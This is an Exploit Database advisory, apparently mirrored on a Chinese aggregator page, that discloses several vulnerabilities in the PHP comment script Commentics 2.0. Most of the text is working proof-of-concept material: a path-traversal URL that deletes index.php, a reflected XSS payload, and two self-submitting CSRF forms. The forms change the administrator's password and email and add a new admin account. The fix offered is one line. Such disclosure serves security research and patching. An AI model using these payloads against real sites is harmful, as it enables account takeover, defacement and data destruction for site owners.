Commentics 2.0 – Multiple Vulnerabilities

• Exploit Database
• 19 阅读

• 作者： Jean Pascal Pereira
  日期： 2012-06-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/19325/

• #################################################
  Commentics 2.0 <= Multiple Vulnerabilities
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  Discovered by: Jean Pascal Pereira <pereira@secbiz.de>
  
  Vendor information:
  
  "Commentics is a free, advanced PHP comment script with many features.
  Professionally written and with open source code, its main aims are to be integrable, customizable and secure."
  
  Vendor URI: http://www.commentics.org/
  
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  Issues: Cross Site Scripting, Cross Site Request Forgery / File Deletion
  
  Risk-level: High
  
  The whole administration interface is prone to several client-side attacks.
  
  -------------------------------------
  
  Exploit / Proof Of Concept:
  
  (Note that almost every parameter is vulnerable. These are only a few examples.)
  
  
  1. File deletion vulnerability (deletes index.php):
  
  http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=tool_db_backup&action=delete&id=../index.php
  
  
  2. Cross Site Scripting:
  
  http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=edit_page&id="><script>alert(1)</script><!--
  
  
  3. CSRF / Change admin email and password:
  
  <form method="POST" action="http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=settings_administrator">
  <input type="text" name="username" value="admin" />
  <input type="text" name="password_1" value="1234" />
  <input type="text" name="password_2" value"=1234" />
  <input type="text" name="email" value="admin%40binkmail.com" />
  <input type="text" name="receive_email_new_ban" value="on" />
  <input type="text" name="receive_email_new_comment_approve" value="on" />
  <input type="text" name="receive_email_new_comment_okay" value="on" />
  <input type="text" name="receive_email_new_flag" value="on" />
  <input type="text" name="submit" value="Update" />
  </form>
  <script>document.forms[0].submit()</script>
  
  
  4. CSRF / Add new admin user
  
  <form method="POST" action="http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=settings_administrator">
  <input type="text" name="username" value="newadmin" />
  <input type="text" name="password_1" value="1234" />
  <input type="text" name="password_2" value"=1234" />
  <input type="text" name="email" value="newadmin%40binkmail.com" />
  <input type="text" name="submit" value="Add+Admin" />
  </form>
  <script>document.forms[0].submit()</script>
  
  -------------------------------------
  
  Solution:
  
  Do some input validation.
  
  -------------------------------------
  
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